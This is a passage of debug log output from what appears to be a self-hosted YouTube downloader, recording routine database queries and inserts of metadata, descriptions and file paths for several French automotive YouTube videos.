https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nEt d’ailleurs merci au sang de la veine du soutien indéfectible : https://nordvpn.com/fr/chantal\n\nDes bisous.\n\n#astonmartin #circuit #pourtoi", "Vous ne connaissez PAS ces Aston Martin", "ZKeg2SbRHPo", 2362, false, "https://www.youtube.com/watch?v=ZKeg2SbRHPo", "/downloads/Père Chabrier/2024-12-13 Vous ne connaissez PAS ces Aston Martin/Vous ne connaissez PAS ces Aston Martin [ZKeg2SbRHPo].mkv", false, 3, ~U[2024-12-13 17:15:02Z]] 06:34:14.124 [debug] QUERY OK source="sources" db=0.8ms queue=0.3ms idle=88.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:34:14.127 [debug] QUERY OK source="media_profiles" db=2.4ms queue=0.1ms idle=52.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:34:14.130 [debug] QUERY OK source="media_items" db=1.6ms queue=0.1ms idle=54.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [736] 06:34:14.131 [debug] Current batch of media processed. Will check again in 1000ms 06:34:15.132 [debug] Current batch of media processed. Will check again in 1000ms 06:34:16.134 [debug] Current batch of media processed. Will check again in 1000ms 06:34:17.135 [debug] Current batch of media processed. Will check again in 1000ms 06:34:18.138 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Merci à Akram (et petite pensée pour Dingo) pour ses anecdotes folles 🙏\n\n👉 https://www.instagram.com/akramjunior/\n👉 https://www.youtube.com/@UCyRnVNtJYhAFZP1xOTPAL4Q \n\n___________________________________\n\nOn se retrouve en JANVIER 2025 pour participer au prochain LIVE de Canap avec Chauffeur \n\n📺 TWITCH 👉 https://www.twitch.tv/perechabrier\n\nLes autres réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\n_____________________________________\n\nMerci à Nicoflow pour l'envoi de l'ecoflow, promis on en prendra soin. Ci-joint une url vers son adresse web : https://nicoflow.fr/ \n\n___________________________________\n\nMerci à cette équipe de fou malade : \n- Jjjjjjulien Adao : Ecriture et Production ainsi que chauffeurisme - https://www.instagram.com/jjjjjjulien/\n- Chargée de Prod : Laurane Da Silva \n- Real direct : Raphaël Chiche ENKOR FILMS - https://www.enkorfilms.com\n- Montage : TonyCut - https://x.com/TonyCut_ \n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n- Les modos twitch du FUTUR : Mademoisellehope - Johann - Avrell - Charisme - DonpyShot - Liinae - Zarkiel - Crawling - Clem SHD \n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nEt d’ailleurs merci au sang de la veine du soutien indéfectible : https://nordvpn.com/fr/chantal\n\nDes bisous.\n\n#CANAP #voiture #interview", "duration" => 2394, "filename" => "/downloads/Père Chabrier/2024-12-06 AKRAM n'a PAS le permis ?? - CANAP avec CHAUFFEUR #7/AKRAM n'a PAS le permis ?? - CANAP avec CHAUFFEUR #7 [2vKhQy2FAqA].mp4", "id" => "2vKhQy2FAqA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=2vKhQy2FAqA", "playlist_index" => 15, "timestamp" => 1733505300, "title" => "AKRAM n'a PAS le permis ?? - CANAP avec CHAUFFEUR #7", "upload_date" => "20241206"} 06:34:18.140 [debug] QUERY OK source="sources" db=1.5ms queue=0.2ms idle=127.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 06:34:18.142 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=129.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:34:18.145 [debug] QUERY OK source="media_items" db=2.5ms idle=131.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-12-06 17:15:00Z], 3] 06:34:18.151 [debug] QUERY OK source="media_items" db=3.7ms idle=135.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à Akram (et petite pensée pour Dingo) pour ses anecdotes folles 🙏\n\n👉 https://www.instagram.com/akramjunior/\n👉 https://www.youtube.com/@UCyRnVNtJYhAFZP1xOTPAL4Q \n\n___________________________________\n\nOn se retrouve en JANVIER 2025 pour participer au prochain LIVE de Canap avec Chauffeur \n\n📺 TWITCH 👉 https://www.twitch.tv/perechabrier\n\nLes autres réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\n_____________________________________\n\nMerci à Nicoflow pour l'envoi de l'ecoflow, promis on en prendra soin. Ci-joint une url vers son adresse web : https://nicoflow.fr/ \n\n___________________________________\n\nMerci à cette équipe de fou malade : \n- Jjjjjjulien Adao : Ecriture et Production ainsi que chauffeurisme - https://www.instagram.com/jjjjjjulien/\n- Chargée de Prod : Laurane Da Silva \n- Real direct : Raphaël Chiche ENKOR FILMS - https://www.enkorfilms.com\n- Montage : TonyCut - https://x.com/TonyCut_ \n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n- Les modos twitch du FUTUR : Mademoisellehope - Johann - Avrell - Charisme - DonpyShot - Liinae - Zarkiel - Crawling - Clem SHD \n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nEt d’ailleurs merci au sang de la veine du soutien indéfectible : https://nordvpn.com/fr/chantal\n\nDes bisous.\n\n#CANAP #voiture #interview", "AKRAM n'a PAS le permis ?? - CANAP avec CHAUFFEUR #7", "d17eaf5e-8046-491b-b078-e1ce3b701d04", "2vKhQy2FAqA", 2394, false, "https://www.youtube.com/watch?v=2vKhQy2FAqA", 15, "/downloads/Père Chabrier/2024-12-06 AKRAM n'a PAS le permis ?? - CANAP avec CHAUFFEUR #7/AKRAM n'a PAS le permis ?? - CANAP avec CHAUFFEUR #7 [2vKhQy2FAqA].mp4", false, false, false, 3, [], 98, ~U[2024-12-06 17:15:00Z], ~U[2026-04-20 04:34:18Z], ~U[2026-04-20 04:34:18Z], "Merci à Akram (et petite pensée pour Dingo) pour ses anecdotes folles 🙏\n\n👉 https://www.instagram.com/akramjunior/\n👉 https://www.youtube.com/@UCyRnVNtJYhAFZP1xOTPAL4Q \n\n___________________________________\n\nOn se retrouve en JANVIER 2025 pour participer au prochain LIVE de Canap avec Chauffeur \n\n📺 TWITCH 👉 https://www.twitch.tv/perechabrier\n\nLes autres réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\n_____________________________________\n\nMerci à Nicoflow pour l'envoi de l'ecoflow, promis on en prendra soin. Ci-joint une url vers son adresse web : https://nicoflow.fr/ \n\n___________________________________\n\nMerci à cette équipe de fou malade : \n- Jjjjjjulien Adao : Ecriture et Production ainsi que chauffeurisme - https://www.instagram.com/jjjjjjulien/\n- Chargée de Prod : Laurane Da Silva \n- Real direct : Raphaël Chiche ENKOR FILMS - https://www.enkorfilms.com\n- Montage : TonyCut - https://x.com/TonyCut_ \n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n- Les modos twitch du FUTUR : Mademoisellehope - Johann - Avrell - Charisme - DonpyShot - Liinae - Zarkiel - Crawling - Clem SHD \n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nEt d’ailleurs merci au sang de la veine du soutien indéfectible : https://nordvpn.com/fr/chantal\n\nDes bisous.\n\n#CANAP #voiture #interview", "AKRAM n'a PAS le permis ?? - CANAP avec CHAUFFEUR #7", "2vKhQy2FAqA", 2394, false, "https://www.youtube.com/watch?v=2vKhQy2FAqA", "/downloads/Père Chabrier/2024-12-06 AKRAM n'a PAS le permis ?? - CANAP avec CHAUFFEUR #7/AKRAM n'a PAS le permis ?? - CANAP avec CHAUFFEUR #7 [2vKhQy2FAqA].mp4", false, 3, ~U[2024-12-06 17:15:00Z]] 06:34:18.153 [debug] QUERY OK source="sources" db=1.2ms queue=0.1ms idle=97.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:34:18.155 [debug] QUERY OK source="media_profiles" db=1.5ms queue=0.5ms idle=12.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:34:18.157 [debug] QUERY OK source="media_items" db=1.4ms idle=14.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [737] 06:34:18.158 [debug] Current batch of media processed. Will check again in 1000ms 06:34:19.159 [debug] Current batch of media processed. Will check again in 1000ms 06:34:20.160 [debug] Current batch of media processed. Will check again in 1000ms 06:34:21.161 [debug] Current batch of media processed. Will check again in 1000ms 06:34:22.162 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Merci encore une fois à Nicolas pour le prêt du Juke, à Matt pour le prêt de la Clio et à Florian pour sa précieuse aide. 🙏❤️\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives c'est TOUS les Mercredi à 20h15 et Dimanche à 19h00 sur Twitch\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production, CM,\n- Julien Adao : Ecriture, A perdu à la drag race - https://www.instagram.com/jjjjjjulien/\n- Cadreur : Lucas Colômes - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nEt d’ailleurs merci au sang de la veine du soutien indéfectible : https://nordvpn.com/fr/chantal\n\nDes bisous.\n\n#nissan #dragrace #pourtoi", "duration" => 1968, "filename" => "/downloads/Père Chabrier/2024-11-29 Nissan Juke NISMO RS : mieux que la CLIO\u00A0RS\u00A0?/Nissan Juke NISMO RS : mieux que la CLIO\u00A0RS\u00A0? [E2kMVzdXjpU].mkv", "id" => "E2kMVzdXjpU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=E2kMVzdXjpU", "playlist_index" => 16, "timestamp" => 1732900500, "title" => "Nissan Juke NISMO RS : mieux que la CLIO\u00A0RS\u00A0?", "upload_date" => "20241129"} 06:34:22.164 [debug] QUERY OK source="sources" db=1.4ms queue=0.1ms idle=965.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 06:34:22.166 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=153.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:34:22.171 [debug] QUERY OK source="media_items" db=3.1ms idle=156.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-29 17:15:00Z], 3] 06:34:22.178 [debug] QUERY OK source="media_items" db=4.2ms queue=0.2ms idle=161.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci encore une fois à Nicolas pour le prêt du Juke, à Matt pour le prêt de la Clio et à Florian pour sa précieuse aide. 🙏❤️\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives c'est TOUS les Mercredi à 20h15 et Dimanche à 19h00 sur Twitch\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production, CM,\n- Julien Adao : Ecriture, A perdu à la drag race - https://www.instagram.com/jjjjjjulien/\n- Cadreur : Lucas Colômes - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nEt d’ailleurs merci au sang de la veine du soutien indéfectible : https://nordvpn.com/fr/chantal\n\nDes bisous.\n\n#nissan #dragrace #pourtoi", "Nissan Juke NISMO RS : mieux que la CLIO\u00A0RS\u00A0?", "a2d77456-baea-4aab-bd8b-200c6a4da85d", "E2kMVzdXjpU", 1968, false, "https://www.youtube.com/watch?v=E2kMVzdXjpU", 16, "/downloads/Père Chabrier/2024-11-29 Nissan Juke NISMO RS : mieux que la CLIO\u00A0RS\u00A0?/Nissan Juke NISMO RS : mieux que la CLIO\u00A0RS\u00A0? [E2kMVzdXjpU].mkv", false, false, false, 3, [], 98, ~U[2024-11-29 17:15:00Z], ~U[2026-04-20 04:34:22Z], ~U[2026-04-20 04:34:22Z], "Merci encore une fois à Nicolas pour le prêt du Juke, à Matt pour le prêt de la Clio et à Florian pour sa précieuse aide. 🙏❤️\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives c'est TOUS les Mercredi à 20h15 et Dimanche à 19h00 sur Twitch\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production, CM,\n- Julien Adao : Ecriture, A perdu à la drag race - https://www.instagram.com/jjjjjjulien/\n- Cadreur : Lucas Colômes - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nEt d’ailleurs merci au sang de la veine du soutien indéfectible : https://nordvpn.com/fr/chantal\n\nDes bisous.\n\n#nissan #dragrace #pourtoi", "Nissan Juke NISMO RS : mieux que la CLIO\u00A0RS\u00A0?", "E2kMVzdXjpU", 1968, false, "https://www.youtube.com/watch?v=E2kMVzdXjpU", "/downloads/Père Chabrier/2024-11-29 Nissan Juke NISMO RS : mieux que la CLIO\u00A0RS\u00A0?/Nissan Juke NISMO RS : mieux que la CLIO\u00A0RS\u00A0? [E2kMVzdXjpU].mkv", false, 3, ~U[2024-11-29 17:15:00Z]] 06:34:22.180 [debug] QUERY OK source="sources" db=2.1ms queue=0.2ms idle=104.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:34:22.183 [debug] QUERY OK source="media_profiles" db=1.4ms queue=0.2ms idle=16.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:34:22.186 [debug] QUERY OK source="media_items" db=1.9ms queue=0.4ms idle=17.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [738] 06:34:22.188 [debug] Current batch of media processed. Will check again in 1000ms 06:34:23.189 [debug] Current batch of media processed. Will check again in 1000ms 06:34:24.191 [debug] Current batch of media processed. Will check again in 1000ms 06:34:25.192 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Un énorme, ÉNORME, merci à Thibault et Jo de Cascades Expériences, des chics types. Pour leur donner de la force c'est ici : \n👉 https://www.instagram.com/cascades_experiences/\n👉 https://www.youtube.com/@CascadesExperiences\n👉 https://www.cascadesexperiences.fr/\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives c'est TOUS les Mercredi à 20h15 et Dimanche à 19h00 sur Twitch\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Julien Adao : Ecriture, Il s'est cassé la gueule en moto sur le tournage et c'était ridicule - https://www.instagram.com/jjjjjjulien/\n- Laurane Da Silva : Chargée de Production, CM\n- Cadreur : Raphaël Chiche - ENKOR FILMS https://www.enkorfilms.com\n- Soutien moral de l'équipe : Cassandra Borie\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nEt d’ailleurs merci au sang de la veine du soutien indéfectible : https://nordvpn.com/fr/chantal\n\nDes bisous.\n\n#motovlog #wheeling #pourtoi", "duration" => 2480, "filename" => "/downloads/Père Chabrier/2024-11-22 Objectif : La BMW K1600 en Y. (le C1 aussi) ft. Cascades Experiences/Objectif : La BMW K1600 en Y. (le C1 aussi) ft. Cascades Experiences [iv8auLK2okk].mkv", "id" => "iv8auLK2okk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=iv8auLK2okk", "playlist_index" => 17, "timestamp" => 1732295702, "title" => "Objectif : La BMW K1600 en Y. (le C1 aussi) ft. Cascades Experiences", "upload_date" => "20241122"} 06:34:25.194 [debug] QUERY OK source="sources" db=0.9ms queue=0.2ms idle=1181.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 06:34:25.196 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=1183.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:34:25.199 [debug] QUERY OK source="media_items" db=2.8ms queue=0.1ms idle=1185.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-22 17:15:02Z], 3] 06:34:25.228 [debug] QUERY OK source="media_items" db=26.6ms queue=0.1ms idle=1113.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Un énorme, ÉNORME, merci à Thibault et Jo de Cascades Expériences, des chics types. Pour leur donner de la force c'est ici : \n👉 https://www.instagram.com/cascades_experiences/\n👉 https://www.youtube.com/@CascadesExperiences\n👉 https://www.cascadesexperiences.fr/\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives c'est TOUS les Mercredi à 20h15 et Dimanche à 19h00 sur 